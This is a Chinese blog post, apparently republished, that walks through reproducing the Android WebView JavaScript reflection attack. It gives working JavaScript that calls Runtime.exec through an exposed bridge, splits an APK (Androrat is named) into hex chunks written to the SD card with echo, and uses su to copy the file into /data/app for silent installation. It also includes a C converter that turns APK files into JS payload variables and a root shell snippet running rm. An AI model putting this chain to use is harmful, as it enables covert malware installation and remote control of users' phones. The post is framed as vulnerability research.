Android WebView JS反射攻击还原(通过echo写入apk文件)

来源:互联网 发布:淘宝店铺转让后被找回 编辑:程序博客网 时间:2024/05/21 09:16

RT

最近在乌云平台上看了披露出来的一些漏洞,因为之前用过webview,所以尝试着还原一下js反射攻击:

原文地址

文中写的比较详细了,也可以看看文章后面的参考。说一下遇到问题:

首先原理是因为sdcard可读可写,因此把攻击的数据写入到sdcard中去,但怎么写是个大问题,尤其是数据比较大的时候。我们在示例的网页中写恶意JS脚本,

function execute(cmdArgs){return JsUseJave.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}

这个函数用来实行shell命令,不过获取权限是个大问题,首先要求手机必须root掉,然后通过执行su命令,但是问题在于两次命令执行的环境居然不一样,也就是说第一个命令su执行完之后,他所在的环境是有root权限的,但是第二条指令可就没有这么好的运气了,因为子进程环境不同。


还有就是执行echo特别特别需要注意的一点就是命令格式,折腾了2天总算弄出点眉目来:

原文中的数据:

var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00"
对应的exec语句为:

execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);


应该是大神觉得读者都懂,所以简略的写了下,表示虽然一看就懂了,但是。。。实际写一段代码试试就发现这个命令根本执行不了,而且最要命的是,webview是没法执行alert的,根本不知道输出是什么,而且js中引用java对象并不是那么简单的事情,通过反射拿到对象,但也仅仅成功拿到了Runtime,其他对象一直出错,导致VM崩掉,try ,catch中也不会有什么输出。

上边这行代码我测试根本执行不成功,首先这个字符串就不是按照字节来输出的,应该是大神一个简单的演示而已。

用过shell echo都知道,可以这样写:

//var armBinary = "\\x4d\\x5a\\x00\\x4d\\x5a";execute(["/system/bin/sh","-c","echo -n '"+armBinary+"' >> /sdcard/test.apk"]);

这样经过测试的的确确可以成功的将数据写入到指定的文件中,不过一定要注意这样写:

"echo -n' "+armBinary+" '  >> /sdcard/test.apk"


一定要用'  '把变量裹起来,否则的话就会把这个变量名称当做字符输出了,我测试的时候自作聪明的用+把各个字符串分开,写成这个样子:

execute(["/system/bin/sh","-c","echo -n "+armBinary+" >> /sdcard/test.apk"]);
这样总是会多写3个字节,其中包括-n,以及一个换行。

切记一定要写成带有' '的形式,而且,二进制变量必须写成这个样子:

var content0="\\x50\\x4b\\x03\\x04\\x14\\x00\\x08\\x00"
否则你会发现如果变量中有0x00的样子,代码就不会正常执行了,最其原因我认为应该是如下原因:

1. execute函数中参数是个数组,有3个,第三个元素依然会按章字符串的原则来解析,所以,你仅仅写成\x4d\x51的话,如果没有0x00,OK,可以正常写入,如果有的话那就悲剧了,字符串被截断了,而且不会有任何输出内容。

2. 虽然在Linux下用echo, 可以echo -n -e "\x4d\x5a\x00\x00"  > test  真实的可以写入4个字节,用adb shell 进入Android系统也能执行,但是通过反射shell就不可行,应该还是跟JS字符串的解析有关。

【对js不熟,以上是根据测试结果的猜想,如果问题请指正】


还有个问题,原文中说可以使用:

execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);

来安装apk,但是我测试时发现也不好使,总是报device not found错误,尝试各种办法不行,如果大家有好的方法欢迎指导,跟小师弟两人测试了好久,终于发现先获取到root权限,然后直接将这个apk弄到/data/app目录下,就可以静默安装了。【前提是,执行copy命令的process必须是执行su之后的process,否则还是没法获得权限】

先说说在Activity中连续执行这两个命令:

  String string2 = "rm /system/test &\n";               Runtime runtime = Runtime.getRuntime();        DataOutputStream dataOut;        try {                Process process = runtime.exec("su ");                InputStream in = process.getInputStream();                BufferedReader bufferReader = new BufferedReader(                                new InputStreamReader(in));                BufferedReader err=new BufferedReader(new InputStreamReader(process.getErrorStream()));                String line = null;                dataOut = new DataOutputStream(process.getOutputStream());                dataOut.writeBytes(string2);                dataOut.flush();                dataOut.close();                process.waitFor();                while ((line = err.readLine()) != null) {                   Log.i("js",line);            }                while ((line = bufferReader.readLine()) != null) {                Log.i("js",line);                }        } catch (Exception e) {                e.printStackTrace();        }finally{                if(process != null)                        process.destroy();        }

首先拿到runtime,执行exec会返回一个Process对象,此时不能直接再执行exec,因为那样会直接fork一个子进程,就不再是之前执行过su命令的shell了(Linux中su仅仅对当前打开的这个shell有效),所以我们想看到这个shell的返回值,就必须拿到他的“输出流”-->InputStream【注意名称】,如果想再接着执行命令,就必须往他的输入流OutputStream中写命令,因为shell也是一个数据流。写完之后记得flush和close数据流,然后waitFor一下。【虽然没有waitFor也能执行成功,但推荐加上】这样就可以在同一个process shell中连续执行命令了。  【么了强调一下,这段代码最好new一个thread来执行,因为如果等待时间过长的话,会引起Activity因为等待过长而宕掉】

在JS中想要顺序执行命令,也是同样的原则,不过在java中我们可以通过BufferReader来读取输出流,通过DataOutputStream来写入,但是在JS中尝试各种办法都没法引用到JAVA中的这两个对象,因此只能用下面这种方法:

var process = execute(["su"]);writeStream(process.getOutputStream());function writeStream(outputStream) {window.JsUseJave.openImage("start writeStream   ");try {var cmd = "cat /sdcard/attack.apk > /data/app/attack.apk &";var len = cmd.length;var cmdByte = [];cmdByte = stringToBytes(cmd);outputStream.write(cmdByte);outputStream.flush();outputStream.close();window.JsUseJave.openImage("writeStream over");} catch (e) {window.JsUseJave.openImage("writeStream   " + e.message);document.write("writeStream     " + e.message);}}

执行exec返回一个process对象,拿到它的输入流,然后直接用输入流的write函数往里边写byte数组,只要把命令cmd转换为byte数组就可以成功执行了。

么了,Android里不知道为么没有cp命令,如果用mv代替,会出现faile  cross device link 。居说是认为sdcard和本身系统不在一个文件系统之内。

具体的解析请看这个链接:http://weiweiabc109.blog.163.com/blog/static/28357220123211481870/

所以就用了cat来代替。


对原文中的代码的修改如下就可以正常执行,汇总如下:


function test(){var content0="\\x50\\4b";......篇幅原因,省略了二进制变量...try{execute(["/system/bin/sh","-c","echo -n '"+content0+"' > /sdcard/attack.apk"]);// -l /system/test"]);//+ "\x4d\x5a" +" > /sdcard/test"]);execute(["/system/bin/sh","-c","echo -n '"+content1+"' >> /sdcard/attack.apk"]);execute(["/system/bin/sh","-c","echo -n '"+content2+"' >> /sdcard/attack.apk"]);execute(["/system/bin/sh","-c","echo -n '"+content3+"' >> /sdcard/attack.apk"]);execute(["/system/bin/sh","-c","echo -n '"+content4+"' >> /sdcard/attack.apk"]);execute(["/system/bin/sh","-c","echo -n '"+content5+"' >> /sdcard/attack.apk"]);execute(["/system/bin/sh","-c","echo -n '"+content6+"' >> /sdcard/attack.apk"]);execute(["/system/bin/sh","-c","echo -n '"+content7+"' >> /sdcard/attack.apk"]);execute(["/system/bin/sh","-c","echo -n '"+content8+"' >> /sdcard/attack.apk"]);execute(["/system/bin/sh","-c","echo -n '"+content9+"' >> /sdcard/attack.apk"]);var process = execute(["su"]);window.JsUseJave.openImage("start outputStream");writeStream(process.getOutputStream());window.JsUseJave.openImage("start getinputStream");document.write("content:" + getContents(process.getInputStream()));document.write("errorcontent:" + getContents(process.getErrorStream()));} catch (e){window.JsUseJave.openImage(e.message);}}function writeStream(outputStream) {window.JsUseJave.openImage("start writeStream   ");try {var cmd = "cat /sdcard/attack.apk > /data/app/attack.apk &";var len = cmd.length;var cmdByte = [];cmdByte = stringToBytes(cmd);outputStream.write(cmdByte);outputStream.flush();outputStream.close();window.JsUseJave.openImage("writeStream over");} catch (e) {window.JsUseJave.openImage("writeStream   " + e.message);document.write("writeStream     " + e.message);}}function execute(cmdArgs){return JsUseJave.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}function getContents(inputStream)  {    var contents = "";    var b = inputStream.read();    while(b != -1) {        var bString = String.fromCharCode(b);        contents += bString;        b = inputStream.read();    }    return contents;   }  function stringToBytes(str) {var ch, st, re = [];for ( var i = 0; i < str.length; i++) {ch = str.charCodeAt(i); // get charst = []; // set up "stack"do {st.push(ch & 0xFF); // push byte to stackch = ch >> 8; // shift value down by 1 byte} while (ch);// add stack contents to result// done because chars have "wrong" endiannessre = re.concat(st.reverse());}// return an array of bytesreturn re;}


至于如何定义文件的二进制变量,附上自己写的很水的一个c代码,读取NewbieTaskActivity.apk这个文件,然后每个变量为30K的数据,最后输出文件resvalue中的内容就是类似于这样的:

var content0 = "\\x4d\\5a\\0x00\\4d...";var content1 = "\\x4d\\5a\\0x00\\4d...";var content2 = "\\x4d\\5a\\0x00\\4d...";

直接粘到js中,然后执行多次exec就行了,然后就可以在sdcard中看到你自己的apk了。折腾了两天,就酱紫了。

C代码如下:

#include<cstdio>#include<cstring>#include<cstdlib>int main(){FILE * fp;char ch;if((fp=fopen("NewbieTaskActivity.apk","rb"))==NULL){printf("error");return 0;}fseek(fp,0,SEEK_END);unsigned long long len=ftell(fp);char * data=(char *)malloc(len); rewind(fp);fread(data,1,len,fp);fclose(fp);printf("file size is:%u\n",len);//for(int i=0;i<20;i++)//printf("\\\\x%02x ",(unsigned char)data[i]);//printf("\n");const int per=1024*30;int time=len/per;if(len%per!=0) time++;printf("time is %d\n",time);system("pause");int cur=0;int total=0;for(int k=0;k<time;k++){char filename[20];sprintf(filename,"resvalue");FILE * out=fopen(filename,"ab+");if(out==NULL){printf("open file %s errro!",filename);continue;}char tmpdata[per]={0};unsigned writelen=0;if(cur+per<=len) writelen=per;else writelen=len-cur;memcpy(tmpdata,data+cur,writelen);fprintf(out,"var content%d=\"",k);for(int i=0;i<writelen;i++)//\\x4dfprintf(out,"\\\\x%02x",(unsigned char)tmpdata[i]);fprintf(out,"\";\n");total+=writelen;printf("file wirte :%d\n",writelen);printf("total is :%d\n",total);fclose(out);cur+=per;}printf("file value write %d\n",total);return 0;}



0 0
原创粉丝点击